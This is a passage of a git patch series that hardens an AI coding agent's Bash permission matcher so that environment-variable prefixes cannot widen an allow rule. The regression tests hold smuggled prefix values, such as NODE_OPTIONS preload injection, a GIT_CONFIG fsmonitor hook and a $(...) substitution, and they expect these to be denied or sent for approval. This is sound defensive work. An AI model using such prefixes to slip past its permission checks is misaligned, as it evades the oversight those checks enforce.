From 80ea2a03f6734d6257d75591cf881c6ba850b0cc Mon Sep 17 00:00:00 2001 From: SLP-DEV1 Date: Thu, 27 Aug 2026 00:23:29 +0200 Subject: [PATCH 01/36] chore: apply issue 10197 fix --- .github/workflows/apply-10197-fix.yml | 49 +++++++++++++++++++++++++++ 1 file changed, 49 insertions(+) create mode 100644 .github/workflows/apply-10197-fix.yml diff --git a/.github/workflows/apply-10197-fix.yml b/.github/workflows/apply-10197-fix.yml new file mode 100644 index 00000000000..1fd4279eb50 --- /dev/null +++ b/.github/workflows/apply-10197-fix.yml @@ -0,0 +1,49 @@ +name: Apply issue 10197 fix + +on: + push: + branches: [fix/10197-env-prefix-bash-rules] + paths: [.github/workflows/apply-10197-fix.yml] + +permissions: + contents: write + +jobs: + apply: + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v4 + with: + ref: fix/10197-env-prefix-bash-rules + - uses: actions/setup-node@v4 + with: + node-version: 22 + cache: npm + - run: npm ci + - name: Apply focused fix and regression tests + shell: bash + run: | + python - <<'PY' + from pathlib import Path + p = Path('packages/core/src/permissions/rule-parser.ts') + s = p.read_text() + old = """ return tokens.slice(firstCommandToken).join(' ');\n""" + new = """ // Environment assignments are part of the execution semantics. A concrete\n // Bash allow rule must not silently widen from `cmd` to arbitrary\n // `NAME=value cmd` invocations, because runtimes and applications may\n // interpret those variables before the trusted command runs. Preserve the\n // original command whenever such a prefix is present so the rule must\n // explicitly include it.\n if (firstCommandToken > 0) {\n return trimmed;\n }\n\n return tokens.join(' ');\n""" + if old not in s: + raise SystemExit('target rule-parser snippet not found') + p.write_text(s.replace(old, new, 1)) + + test = Path('packages/core/src/permissions/rule-parser.env-prefix.test.ts') + test.write_text("""/**\n * @license\n * Copyright 2025 Qwen team\n * SPDX-License-Identifier: Apache-2.0\n */\n\nimport { describe, expect, it } from 'vitest';\nimport { matchesCommandPattern } from './rule-parser.js';\n\ndescribe('matchesCommandPattern environment prefixes', () => {\n it('keeps plain concrete commands matching', () => {\n expect(matchesCommandPattern('npm --version', 'npm --version')).toBe(true);\n });\n\n it('does not let NODE_OPTIONS widen a concrete npm allow rule', () => {\n expect(\n matchesCommandPattern(\n 'npm --version',\n 'NODE_OPTIONS=--require=/tmp/preload.cjs npm --version',\n ),\n ).toBe(false);\n });\n\n it('does not let GIT_CONFIG_* widen a concrete git allow rule', () => {\n expect(\n matchesCommandPattern(\n 'git status --short',\n 'GIT_CONFIG_COUNT=1 GIT_CONFIG_KEY_0=core.fsmonitor GIT_CONFIG_VALUE_0=/tmp/fsmonitor.sh git status --short',\n ),\n ).toBe(false);\n });\n\n it('allows an environment-prefixed command only when the rule includes it', () => {\n expect(\n matchesCommandPattern(\n 'NODE_OPTIONS=--require=/tmp/preload.cjs npm --version',\n 'NODE_OPTIONS=--require=/tmp/preload.cjs npm --version',\n ),\n ).toBe(true);\n });\n});\n""") + + Path('.github/workflows/apply-10197-fix.yml').unlink() + PY + - name: Run focused tests + run: npx vitest run packages/core/src/permissions/rule-parser.env-prefix.test.ts + - name: Commit result + run: | + git config user.name "SLP-DEV1" + git config user.email "298325363+SLP-DEV1@users.noreply.github.com" + git add packages/core/src/permissions/rule-parser.ts packages/core/src/permissions/rule-parser.env-prefix.test.ts .github/workflows/apply-10197-fix.yml + git commit -m "fix(core): preserve env prefixes in Bash rule matching" + git push origin HEAD:fix/10197-env-prefix-bash-rules From 85b86e1b4eda983048897dd0eb4da1b75e4ef772 Mon Sep 17 00:00:00 2001 From: SLP-DEV1 <298325363+SLP-DEV1@users.noreply.github.com> Date: Wed, 26 Aug 2026 22:35:22 +0000 Subject: [PATCH 02/36] fix(core): preserve env prefixes in Bash rule matching --- .github/workflows/apply-10197-fix.yml | 49 ------------------- .../rule-parser.env-prefix.test.ts | 41 ++++++++++++++++ packages/core/src/permissions/rule-parser.ts | 12 ++++- 3 files changed, 52 insertions(+), 50 deletions(-) delete mode 100644 .github/workflows/apply-10197-fix.yml create mode 100644 packages/core/src/permissions/rule-parser.env-prefix.test.ts diff --git a/.github/workflows/apply-10197-fix.yml b/.github/workflows/apply-10197-fix.yml deleted file mode 100644 index 1fd4279eb50..00000000000 --- a/.github/workflows/apply-10197-fix.yml +++ /dev/null @@ -1,49 +0,0 @@ -name: Apply issue 10197 fix - -on: - push: - branches: [fix/10197-env-prefix-bash-rules] - paths: [.github/workflows/apply-10197-fix.yml] - -permissions: - contents: write - -jobs: - apply: - runs-on: ubuntu-latest - steps: - - uses: actions/checkout@v4 - with: - ref: fix/10197-env-prefix-bash-rules - - uses: actions/setup-node@v4 - with: - node-version: 22 - cache: npm - - run: npm ci - - name: Apply focused fix and regression tests - shell: bash - run: | - python - <<'PY' - from pathlib import Path - p = Path('packages/core/src/permissions/rule-parser.ts') - s = p.read_text() - old = """ return tokens.slice(firstCommandToken).join(' ');\n""" - new = """ // Environment assignments are part of the execution semantics. A concrete\n // Bash allow rule must not silently widen from `cmd` to arbitrary\n // `NAME=value cmd` invocations, because runtimes and applications may\n // interpret those variables before the trusted command runs. Preserve the\n // original command whenever such a prefix is present so the rule must\n // explicitly include it.\n if (firstCommandToken > 0) {\n return trimmed;\n }\n\n return tokens.join(' ');\n""" - if old not in s: - raise SystemExit('target rule-parser snippet not found') - p.write_text(s.replace(old, new, 1)) - - test = Path('packages/core/src/permissions/rule-parser.env-prefix.test.ts') - test.write_text("""/**\n * @license\n * Copyright 2025 Qwen team\n * SPDX-License-Identifier: Apache-2.0\n */\n\nimport { describe, expect, it } from 'vitest';\nimport { matchesCommandPattern } from './rule-parser.js';\n\ndescribe('matchesCommandPattern environment prefixes', () => {\n it('keeps plain concrete commands matching', () => {\n expect(matchesCommandPattern('npm --version', 'npm --version')).toBe(true);\n });\n\n it('does not let NODE_OPTIONS widen a concrete npm allow rule', () => {\n expect(\n matchesCommandPattern(\n 'npm --version',\n 'NODE_OPTIONS=--require=/tmp/preload.cjs npm --version',\n ),\n ).toBe(false);\n });\n\n it('does not let GIT_CONFIG_* widen a concrete git allow rule', () => {\n expect(\n matchesCommandPattern(\n 'git status --short',\n 'GIT_CONFIG_COUNT=1 GIT_CONFIG_KEY_0=core.fsmonitor GIT_CONFIG_VALUE_0=/tmp/fsmonitor.sh git status --short',\n ),\n ).toBe(false);\n });\n\n it('allows an environment-prefixed command only when the rule includes it', () => {\n expect(\n matchesCommandPattern(\n 'NODE_OPTIONS=--require=/tmp/preload.cjs npm --version',\n 'NODE_OPTIONS=--require=/tmp/preload.cjs npm --version',\n ),\n ).toBe(true);\n });\n});\n""") - - Path('.github/workflows/apply-10197-fix.yml').unlink() - PY - - name: Run focused tests - run: npx vitest run packages/core/src/permissions/rule-parser.env-prefix.test.ts - - name: Commit result - run: | - git config user.name "SLP-DEV1" - git config user.email "298325363+SLP-DEV1@users.noreply.github.com" - git add packages/core/src/permissions/rule-parser.ts packages/core/src/permissions/rule-parser.env-prefix.test.ts .github/workflows/apply-10197-fix.yml - git commit -m "fix(core): preserve env prefixes in Bash rule matching" - git push origin HEAD:fix/10197-env-prefix-bash-rules diff --git a/packages/core/src/permissions/rule-parser.env-prefix.test.ts b/packages/core/src/permissions/rule-parser.env-prefix.test.ts new file mode 100644 index 00000000000..5ddf093e630 --- /dev/null +++ b/packages/core/src/permissions/rule-parser.env-prefix.test.ts @@ -0,0 +1,41 @@ +/** + * @license + * Copyright 2025 Qwen team + * SPDX-License-Identifier: Apache-2.0 + */ + +import { describe, expect, it } from 'vitest'; +import { matchesCommandPattern } from './rule-parser.js'; + +describe('matchesCommandPattern environment prefixes', () => { + it('keeps plain concrete commands matching', () => { + expect(matchesCommandPattern('npm --version', 'npm --version')).toBe(true); + }); + + it('does not let NODE_OPTIONS widen a concrete npm allow rule', () => { + expect( + matchesCommandPattern( + 'npm --version', + 'NODE_OPTIONS=--require=/tmp/preload.cjs npm --version', + ), + ).toBe(false); + }); + + it('does not let GIT_CONFIG_* widen a concrete git allow rule', () => { + expect( + matchesCommandPattern( + 'git status --short', + 'GIT_CONFIG_COUNT=1 GIT_CONFIG_KEY_0=core.fsmonitor GIT_CONFIG_VALUE_0=/tmp/fsmonitor.sh git status --short', + ), + ).toBe(false); + }); + + it('allows an environment-prefixed command only when the rule includes it', () => { + expect( + matchesCommandPattern( + 'NODE_OPTIONS=--require=/tmp/preload.cjs npm --version', + 'NODE_OPTIONS=--require=/tmp/preload.cjs npm --version', + ), + ).toBe(true); + }); +}); diff --git a/packages/core/src/permissions/rule-parser.ts b/packages/core/src/permissions/rule-parser.ts index 67ce2519f10..f4a0d90a455 100644 --- a/packages/core/src/permissions/rule-parser.ts +++ b/packages/core/src/permissions/rule-parser.ts @@ -1174,7 +1174,17 @@ function stripLeadingVariableAssignments(command: string): string { firstCommandToken++; } - return tokens.slice(firstCommandToken).join(' '); + // Environment assignments are part of the execution semantics. A concrete + // Bash allow rule must not silently widen from `cmd` to arbitrary + // `NAME=value cmd` invocations, because runtimes and applications may + // interpret those variables before the trusted command runs. Preserve the + // original command whenever such a prefix is present so the rule must + // explicitly include it. + if (firstCommandToken > 0) { + return trimmed; + } + + return tokens.join(' '); } catch { return trimmed; } From 1ebd194bf0782558a24192b47e94d3db43cc9ab8 Mon Sep 17 00:00:00 2001 From: SLP-DEV1 Date: Thu, 27 Aug 2026 01:25:34 +0200 Subject: [PATCH 03/36] ci: validate PR 10212 final review fixes --- .github/workflows/pr-10212-finalize.yml | 230 ++++++++++++++++++++++++ 1 file changed, 230 insertions(+) create mode 100644 .github/workflows/pr-10212-finalize.yml diff --git a/.github/workflows/pr-10212-finalize.yml b/.github/workflows/pr-10212-finalize.yml new file mode 100644 index 00000000000..5e9895a3846 --- /dev/null +++ b/.github/workflows/pr-10212-finalize.yml @@ -0,0 +1,230 @@ +name: PR 10212 finalize + +on: + push: + branches: + - fix/10197-env-prefix-bash-rules + +permissions: + contents: write + +jobs: + finalize: + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v4 + with: + ref: fix/10197-env-prefix-bash-rules + fetch-depth: 0 + - uses: actions/setup-node@v4 + with: + node-version: 22 + cache: npm + - name: Apply review fixes + shell: bash + run: | + python3 - <<'PY' + from pathlib import Path + + rp = Path('packages/core/src/permissions/rule-parser.ts') + s = rp.read_text() + s = s.replace( + 'const normalizedCommand = stripLeadingVariableAssignments(command);', + 'const normalizedCommand = normalizeCommandForPermissionMatch(command);', + 1, + ) + s = s.replace( + 'function stripLeadingVariableAssignments(command: string): string {', + 'function normalizeCommandForPermissionMatch(command: string): string {', + 1, + ) + old_comment = ''' // Environment assignments are part of the execution semantics. A concrete + // Bash allow rule must not silently widen from `cmd` to arbitrary + // `NAME=value cmd` invocations, because runtimes and applications may + // interpret those variables before the trusted command runs. Preserve the + // original command whenever such a prefix is present so the rule must + // explicitly include it. + ''' + new_comment = ''' // Environment assignments are part of the execution semantics. Any + // command-specific Bash pattern (exact, prefix, or glob) must not silently + // widen from `cmd` to arbitrary `NAME=value cmd` invocations, because + // runtimes and applications may interpret those variables before the + // trusted command runs. Preserve the original command whenever such a + // prefix is present so the rule must explicitly include it. The lone `*` + // rule is handled above as the intentional allow-all case. + ''' + if old_comment not in s: + raise SystemExit('rule-parser comment anchor not found') + s = s.replace(old_comment, new_comment, 1) + rp.write_text(s) + + pm = Path('packages/core/src/permissions/permission-manager.test.ts') + x = pm.read_text() + old_test = ''' it('matches commands with leading env var assignments', async () => { + expect( + matchesCommandPattern( + 'python3 *', + 'PYTHONPATH=/tmp/lib python3 -c "print(1)"', + ), + ).toBe(true); + }); + ''' + new_test = ''' it('does not let env assignments inherit a glob Bash rule', async () => { + expect( + matchesCommandPattern( + 'python3 *', + 'PYTHONPATH=/tmp/lib python3 -c "print(1)"', + ), + ).toBe(false); + }); + ''' + if old_test not in x: + raise SystemExit('existing env compatibility test anchor not found') + pm.write_text(x.replace(old_test, new_test, 1)) + + test = Path('packages/core/src/permissions/rule-parser.env-prefix.test.ts') + test.write_text(r'''/** + * @license + * Copyright 2025 Qwen team + * SPDX-License-Identifier: Apache-2.0 + */ + + import { describe, expect, it } from 'vitest'; + import { PermissionManager } from './permission-manager.js'; + import type { PermissionManagerConfig } from './permission-manager.js'; + import { matchesCommandPattern } from './rule-parser.js'; + + function makeConfig(allow: string[]): PermissionManagerConfig { + return { + getPermissionsAllow: () => allow, + getPermissionsAsk: () => [], + getPermissionsDeny: () => [], + getProjectRoot: () => '/repo', + getCwd: () => '/repo', + getApprovalMode: () => 'default', + }; + } + + describe('matchesCommandPattern environment prefixes', () => { + it('keeps plain commands matching', () => { + expect(matchesCommandPattern('npm --version', 'npm --version')).toBe(true); + expect(matchesCommandPattern('python3 *', 'python3 -c "print(1)"')).toBe( + true, + ); + }); + + it('does not let static env prefixes inherit exact, prefix, or glob rules', () => { + expect( + matchesCommandPattern('npm --version', 'FOO=bar npm --version'), + ).toBe(false); + expect(matchesCommandPattern('npm', 'FOO=bar npm --version')).toBe(false); + expect( + matchesCommandPattern( + 'python3 *', + 'PYTHONPATH=/tmp/lib python3 -c "print(1)"', + ), + ).toBe(false); + }); + + it('does not let NODE_OPTIONS widen an npm allow rule', () => { + expect( + matchesCommandPattern( + 'npm --version', + 'NODE_OPTIONS=--require=/tmp/preload.cjs npm --version', + ), + ).toBe(false); + }); + + it('does not let GIT_CONFIG_* widen a git allow rule', () => { + expect( + matchesCommandPattern( + 'git status --short', + 'GIT_CONFIG_COUNT=1 GIT_CONFIG_KEY_0=core.fsmonitor GIT_CONFIG_VALUE_0=/tmp/fsmonitor.sh git status --short', + ), + ).toBe(false); + }); + + it('also covers substitution-bearing env assignments from #10192', () => { + expect( + matchesCommandPattern( + 'npm --version', + 'X=$(printf hidden) npm --version', + ), + ).toBe(false); + }); + + it('allows an env-prefixed command when the rule explicitly includes it', () => { + expect( + matchesCommandPattern( + 'NODE_OPTIONS=--require=/tmp/preload.cjs npm --version', + 'NODE_OPTIONS=--require=/tmp/preload.cjs npm --version', + ), + ).toBe(true); + expect( + matchesCommandPattern( + 'PYTHONPATH=/tmp/lib python3 *', + 'PYTHONPATH=/tmp/lib python3 -c "print(1)"', + ), + ).toBe(true); + }); + + it('keeps the intentional Bash(*) allow-all behavior', () => { + expect( + matchesCommandPattern( + '*', + 'NODE_OPTIONS=--require=/tmp/preload.cjs npm --version', + ), + ).toBe(true); + }); + + it('fails closed end-to-end when only the unprefixed Bash command is allowed', async () => { + const pm = new PermissionManager(makeConfig(['Bash(npm --version)'])); + pm.initialize(); + + await expect( + pm.evaluate({ + toolName: 'run_shell_command', + command: + 'NODE_OPTIONS=--require=/tmp/preload.cjs npm --version', + cwd: '/repo', + }), + ).resolves.toBe('ask'); + }); + + it('does not let a virtual Read allow downgrade the env-prefix ask decision', async () => { + const pm = new PermissionManager( + makeConfig(['Bash(cat /repo/file)', 'Read']), + ); + pm.initialize(); + + await expect( + pm.evaluate({ + toolName: 'run_shell_command', + command: + 'NODE_OPTIONS=--require=/tmp/preload.cjs cat /repo/file', + cwd: '/repo', + }), + ).resolves.toBe('ask'); + }); + }); + ''') + PY + - name: Install dependencies + run: npm ci + - name: Format + run: npx prettier --write packages/core/src/permissions/rule-parser.ts packages/core/src/permissions/rule-parser.env-prefix.test.ts packages/core/src/permissions/permission-manager.test.ts + - name: Build workspace + run: npm run build + - name: Focused tests + run: npx vitest run packages/core/src/permissions/rule-parser.env-prefix.test.ts packages/core/src/permissions/permission-manager.test.ts packages/core/src/permissions/shell-semantics.test.ts packages/core/src/utils/shell-utils.test.ts + - name: Lint changed files + run: npx eslint packages/core/src/permissions/rule-parser.ts packages/core/src/permissions/rule-parser.env-prefix.test.ts packages/core/src/permissions/permission-manager.test.ts --max-warnings 0 + - name: Commit final patch and remove helper workflow + shell: bash + run: | + rm .github/workflows/pr-10212-finalize.yml + git config user.name "SLP-DEV1" + git config user.email "298325363+SLP-DEV1@users.noreply.github.com" + git add packages/core/src/permissions/rule-parser.ts packages/core/src/permissions/rule-parser.env-prefix.test.ts packages/core/src/permissions/permission-manager.test.ts .github/workflows/pr-10212-finalize.yml + git commit -m "fix(permissions): make env-prefix policy explicit" + git push origin HEAD:fix/10197-env-prefix-bash-rules From 6024f40113d7a03c4a1552925e5919a9aa2cf2ff Mon Sep 17 00:00:00 2001 From: SLP-DEV1 Date: Thu, 27 Aug 2026 01:32:42 +0200 Subject: [PATCH 04/36] ci: speed up PR 10212 validation --- .github/workflows/pr-10212-finalize.yml | 50 +++++++++++-------------- 1 file changed, 21 insertions(+), 29 deletions(-) diff --git a/.github/workflows/pr-10212-finalize.yml b/.github/workflows/pr-10212-finalize.yml index 5e9895a3846..cf3408ff348 100644 --- a/.github/workflows/pr-10212-finalize.yml +++ b/.github/workflows/pr-10212-finalize.yml @@ -15,7 +15,7 @@ jobs: - uses: actions/checkout@v4 with: ref: fix/10197-env-prefix-bash-rules - fetch-depth: 0 + fetch-depth: 1 - uses: actions/setup-node@v4 with: node-version: 22 @@ -28,13 +28,19 @@ jobs: rp = Path('packages/core/src/permissions/rule-parser.ts') s = rp.read_text() + old_call = 'const normalizedCommand = stripLeadingVariableAssignments(command);' + if old_call not in s: + raise SystemExit('normalization call not found') s = s.replace( - 'const normalizedCommand = stripLeadingVariableAssignments(command);', + old_call, 'const normalizedCommand = normalizeCommandForPermissionMatch(command);', 1, ) + old_name = 'function stripLeadingVariableAssignments(command: string): string {' + if old_name not in s: + raise SystemExit('normalization helper not found') s = s.replace( - 'function stripLeadingVariableAssignments(command: string): string {', + old_name, 'function normalizeCommandForPermissionMatch(command: string): string {', 1, ) @@ -43,20 +49,17 @@ jobs: // `NAME=value cmd` invocations, because runtimes and applications may // interpret those variables before the trusted command runs. Preserve the // original command whenever such a prefix is present so the rule must - // explicitly include it. - ''' + // explicitly include it.''' new_comment = ''' // Environment assignments are part of the execution semantics. Any // command-specific Bash pattern (exact, prefix, or glob) must not silently // widen from `cmd` to arbitrary `NAME=value cmd` invocations, because // runtimes and applications may interpret those variables before the // trusted command runs. Preserve the original command whenever such a // prefix is present so the rule must explicitly include it. The lone `*` - // rule is handled above as the intentional allow-all case. - ''' + // rule is the intentional allow-all case.''' if old_comment not in s: - raise SystemExit('rule-parser comment anchor not found') - s = s.replace(old_comment, new_comment, 1) - rp.write_text(s) + raise SystemExit('normalization comment not found') + rp.write_text(s.replace(old_comment, new_comment, 1)) pm = Path('packages/core/src/permissions/permission-manager.test.ts') x = pm.read_text() @@ -67,8 +70,7 @@ jobs: 'PYTHONPATH=/tmp/lib python3 -c "print(1)"', ), ).toBe(true); - }); - ''' + });''' new_test = ''' it('does not let env assignments inherit a glob Bash rule', async () => { expect( matchesCommandPattern( @@ -76,14 +78,12 @@ jobs: 'PYTHONPATH=/tmp/lib python3 -c "print(1)"', ), ).toBe(false); - }); - ''' + });''' if old_test not in x: - raise SystemExit('existing env compatibility test anchor not found') + raise SystemExit('existing env compatibility test not found') pm.write_text(x.replace(old_test, new_test, 1)) - test = Path('packages/core/src/permissions/rule-parser.env-prefix.test.ts') - test.write_text(r'''/** + Path('packages/core/src/permissions/rule-parser.env-prefix.test.ts').write_text(r'''/** * @license * Copyright 2025 Qwen team * SPDX-License-Identifier: Apache-2.0 @@ -108,15 +108,11 @@ jobs: describe('matchesCommandPattern environment prefixes', () => { it('keeps plain commands matching', () => { expect(matchesCommandPattern('npm --version', 'npm --version')).toBe(true); - expect(matchesCommandPattern('python3 *', 'python3 -c "print(1)"')).toBe( - true, - ); + expect(matchesCommandPattern('python3 *', 'python3 -c "print(1)"')).toBe(true); }); it('does not let static env prefixes inherit exact, prefix, or glob rules', () => { - expect( - matchesCommandPattern('npm --version', 'FOO=bar npm --version'), - ).toBe(false); + expect(matchesCommandPattern('npm --version', 'FOO=bar npm --version')).toBe(false); expect(matchesCommandPattern('npm', 'FOO=bar npm --version')).toBe(false); expect( matchesCommandPattern( @@ -180,12 +176,10 @@ jobs: it('fails closed end-to-end when only the unprefixed Bash command is allowed', async () => { const pm = new PermissionManager(makeConfig(['Bash(npm --version)'])); pm.initialize(); - await expect( pm.evaluate({ toolName: 'run_shell_command', - command: - 'NODE_OPTIONS=--require=/tmp/preload.cjs npm --version', + command: 'NODE_OPTIONS=--require=/tmp/preload.cjs npm --version', cwd: '/repo', }), ).resolves.toBe('ask'); @@ -196,12 +190,10 @@ jobs: makeConfig(['Bash(cat /repo/file)', 'Read']), ); pm.initialize(); - await expect( pm.evaluate({ toolName: 'run_shell_command', - command: - 'NODE_OPTIONS=--require=/tmp/preload.cjs cat /repo/file', + command: 'NODE_OPTIONS=--require=/tmp/preload.cjs cat /repo/file', cwd: '/repo', }), ).resolves.toBe('ask'); From e95d8e7c5afd7dc4ed1e86be26da22d04dcfb31f Mon Sep 17 00:00:00 2001 From: SLP-DEV1 <298325363+SLP-DEV1@users.noreply.github.com> Date: Wed, 26 Aug 2026 23:40:42 +0000 Subject: [PATCH 05/36] fix(permissions): make env-prefix policy explicit --- .github/workflows/pr-10212-finalize.yml | 222 ------------------ .../permissions/permission-manager.test.ts | 4 +- .../rule-parser.env-prefix.test.ts | 87 ++++++- packages/core/src/permissions/rule-parser.ts | 17 +- 4 files changed, 94 insertions(+), 236 deletions(-) delete mode 100644 .github/workflows/pr-10212-finalize.yml diff --git a/.github/workflows/pr-10212-finalize.yml b/.github/workflows/pr-10212-finalize.yml deleted file mode 100644 index cf3408ff348..00000000000 --- a/.github/workflows/pr-10212-finalize.yml +++ /dev/null @@ -1,222 +0,0 @@ -name: PR 10212 finalize - -on: - push: - branches: - - fix/10197-env-prefix-bash-rules - -permissions: - contents: write - -jobs: - finalize: - runs-on: ubuntu-latest - steps: - - uses: actions/checkout@v4 - with: - ref: fix/10197-env-prefix-bash-rules - fetch-depth: 1 - - uses: actions/setup-node@v4 - with: - node-version: 22 - cache: npm - - name: Apply review fixes - shell: bash - run: | - python3 - <<'PY' - from pathlib import Path - - rp = Path('packages/core/src/permissions/rule-parser.ts') - s = rp.read_text() - old_call = 'const normalizedCommand = stripLeadingVariableAssignments(command);' - if old_call not in s: - raise SystemExit('normalization call not found') - s = s.replace( - old_call, - 'const normalizedCommand = normalizeCommandForPermissionMatch(command);', - 1, - ) - old_name = 'function stripLeadingVariableAssignments(command: string): string {' - if old_name not in s: - raise SystemExit('normalization helper not found') - s = s.replace( - old_name, - 'function normalizeCommandForPermissionMatch(command: string): string {', - 1, - ) - old_comment = ''' // Environment assignments are part of the execution semantics. A concrete - // Bash allow rule must not silently widen from `cmd` to arbitrary - // `NAME=value cmd` invocations, because runtimes and applications may - // interpret those variables before the trusted command runs. Preserve the - // original command whenever such a prefix is present so the rule must - // explicitly include it.''' - new_comment = ''' // Environment assignments are part of the execution semantics. Any - // command-specific Bash pattern (exact, prefix, or glob) must not silently - // widen from `cmd` to arbitrary `NAME=value cmd` invocations, because - // runtimes and applications may interpret those variables before the - // trusted command runs. Preserve the original command whenever such a - // prefix is present so the rule must explicitly include it. The lone `*` - // rule is the intentional allow-all case.''' - if old_comment not in s: - raise SystemExit('normalization comment not found') - rp.write_text(s.replace(old_comment, new_comment, 1)) - - pm = Path('packages/core/src/permissions/permission-manager.test.ts') - x = pm.read_text() - old_test = ''' it('matches commands with leading env var assignments', async () => { - expect( - matchesCommandPattern( - 'python3 *', - 'PYTHONPATH=/tmp/lib python3 -c "print(1)"', - ), - ).toBe(true); - });''' - new_test = ''' it('does not let env assignments inherit a glob Bash rule', async () => { - expect( - matchesCommandPattern( - 'python3 *', - 'PYTHONPATH=/tmp/lib python3 -c "print(1)"', - ), - ).toBe(false); - });''' - if old_test not in x: - raise SystemExit('existing env compatibility test not found') - pm.write_text(x.replace(old_test, new_test, 1)) - - Path('packages/core/src/permissions/rule-parser.env-prefix.test.ts').write_text(r'''/** - * @license - * Copyright 2025 Qwen team - * SPDX-License-Identifier: Apache-2.0 - */ - - import { describe, expect, it } from 'vitest'; - import { PermissionManager } from './permission-manager.js'; - import type { PermissionManagerConfig } from './permission-manager.js'; - import { matchesCommandPattern } from './rule-parser.js'; - - function makeConfig(allow: string[]): PermissionManagerConfig { - return { - getPermissionsAllow: () => allow, - getPermissionsAsk: () => [], - getPermissionsDeny: () => [], - getProjectRoot: () => '/repo', - getCwd: () => '/repo', - getApprovalMode: () => 'default', - }; - } - - describe('matchesCommandPattern environment prefixes', () => { - it('keeps plain commands matching', () => { - expect(matchesCommandPattern('npm --version', 'npm --version')).toBe(true); - expect(matchesCommandPattern('python3 *', 'python3 -c "print(1)"')).toBe(true); - }); - - it('does not let static env prefixes inherit exact, prefix, or glob rules', () => { - expect(matchesCommandPattern('npm --version', 'FOO=bar npm --version')).toBe(false); - expect(matchesCommandPattern('npm', 'FOO=bar npm --version')).toBe(false); - expect( - matchesCommandPattern( - 'python3 *', - 'PYTHONPATH=/tmp/lib python3 -c "print(1)"', - ), - ).toBe(false); - }); - - it('does not let NODE_OPTIONS widen an npm allow rule', () => { - expect( - matchesCommandPattern( - 'npm --version', - 'NODE_OPTIONS=--require=/tmp/preload.cjs npm --version', - ), - ).toBe(false); - }); - - it('does not let GIT_CONFIG_* widen a git allow rule', () => { - expect( - matchesCommandPattern( - 'git status --short', - 'GIT_CONFIG_COUNT=1 GIT_CONFIG_KEY_0=core.fsmonitor GIT_CONFIG_VALUE_0=/tmp/fsmonitor.sh git status --short', - ), - ).toBe(false); - }); - - it('also covers substitution-bearing env assignments from #10192', () => { - expect( - matchesCommandPattern( - 'npm --version', - 'X=$(printf hidden) npm --version', - ), - ).toBe(false); - }); - - it('allows an env-prefixed command when the rule explicitly includes it', () => { - expect( - matchesCommandPattern( - 'NODE_OPTIONS=--require=/tmp/preload.cjs npm --version', - 'NODE_OPTIONS=--require=/tmp/preload.cjs npm --version', - ), - ).toBe(true); - expect( - matchesCommandPattern( - 'PYTHONPATH=/tmp/lib python3 *', - 'PYTHONPATH=/tmp/lib python3 -c "print(1)"', - ), - ).toBe(true); - }); - - it('keeps the intentional Bash(*) allow-all behavior', () => { - expect( - matchesCommandPattern( - '*', - 'NODE_OPTIONS=--require=/tmp/preload.cjs npm --version', - ), - ).toBe(true); - }); - - it('fails closed end-to-end when only the unprefixed Bash command is allowed', async () => { - const pm = new PermissionManager(makeConfig(['Bash(npm --version)'])); - pm.initialize(); - await expect( - pm.evaluate({ - toolName: 'run_shell_command', - command: 'NODE_OPTIONS=--require=/tmp/preload.cjs npm --version', - cwd: '/repo', - }), - ).resolves.toBe('ask'); - }); - - it('does not let a virtual Read allow downgrade the env-prefix ask decision', async () => { - const pm = new PermissionManager( - makeConfig(['Bash(cat /repo/file)', 'Read']), - ); - pm.initialize(); - await expect( - pm.evaluate({ - toolName: 'run_shell_command', - command: 'NODE_OPTIONS=--require=/tmp/preload.cjs cat /repo/file', - cwd: '/repo', - }), - ).resolves.toBe('ask'); - }); - }); - ''') - PY - - name: Install dependencies - run: npm ci - - name: Format - run: npx prettier --write packages/core/src/permissions/rule-parser.ts packages/core/src/permissions/rule-parser.env-prefix.test.ts packages/core/src/permissions/permission-manager.test.ts - - name: Build workspace - run: npm run build - - name: Focused tests - run: npx vitest run packages/core/src/permissions/rule-parser.env-prefix.test.ts packages/core/src/permissions/permission-manager.test.ts packages/core/src/permissions/shell-semantics.test.ts packages/core/src/utils/shell-utils.test.ts - - name: Lint changed files - run: npx eslint packages/core/src/permissions/rule-parser.ts packages/core/src/permissions/rule-parser.env-prefix.test.ts packages/core/src/permissions/permission-manager.test.ts --max-warnings 0 - - name: Commit final patch and remove helper workflow - shell: bash - run: | - rm .github/workflows/pr-10212-finalize.yml - git config user.name "SLP-DEV1" - git config user.email "298325363+SLP-DEV1@users.noreply.github.com" - git add packages/core/src/permissions/rule-parser.ts packages/core/src/permissions/rule-parser.env-prefix.test.ts packages/core/src/permissions/permission-manager.test.ts .github/workflows/pr-10212-finalize.yml - git commit -m "fix(permissions): make env-prefix policy explicit" - git push origin HEAD:fix/10197-env-prefix-bash-rules diff --git a/packages/core/src/permissions/permission-manager.test.ts b/packages/core/src/permissions/permission-manager.test.ts index f8bc635bd7c..96dd1d9e195 100644 --- a/packages/core/src/permissions/permission-manager.test.ts +++ b/packages/core/src/permissions/permission-manager.test.ts @@ -342,13 +342,13 @@ describe('matchesCommandPattern', () => { expect(matchesCommandPattern('npm run *', 'npm run build')).toBe(true); }); - it('matches commands with leading env var assignments', async () => { + it('does not let env assignments inherit a glob Bash rule', async () => { expect( matchesCommandPattern( 'python3 *', 'PYTHONPATH=/tmp/lib python3 -c "print(1)"', ), - ).toBe(true); + ).toBe(false); }); it('matches commands containing embedded newlines (dotAll)', async () => { diff --git a/packages/core/src/permissions/rule-parser.env-prefix.test.ts b/packages/core/src/permissions/rule-parser.env-prefix.test.ts index 5ddf093e630..18e3ac61f0d 100644 --- a/packages/core/src/permissions/rule-parser.env-prefix.test.ts +++ b/packages/core/src/permissions/rule-parser.env-prefix.test.ts @@ -5,14 +5,43 @@ */ import { describe, expect, it } from 'vitest'; +import { PermissionManager } from './permission-manager.js'; +import type { PermissionManagerConfig } from './permission-manager.js'; import { matchesCommandPattern } from './rule-parser.js'; +function makeConfig(allow: string[]): PermissionManagerConfig { + return { + getPermissionsAllow: () => allow, + getPermissionsAsk: () => [], + getPermissionsDeny: () => [], + getProjectRoot: () => '/repo', + getCwd: () => '/repo', + getApprovalMode: () => 'default', + }; +} + describe('matchesCommandPattern environment prefixes', () => { - it('keeps plain concrete commands matching', () => { + it('keeps plain commands matching', () => { expect(matchesCommandPattern('npm --version', 'npm --version')).toBe(true); + expect(matchesCommandPattern('python3 *', 'python3 -c "print(1)"')).toBe( + true, + ); + }); + + it('does not let static env prefixes inherit exact, prefix, or glob rules', () => { + expect( + matchesCommandPattern('npm --version', 'FOO=bar npm --version'), + 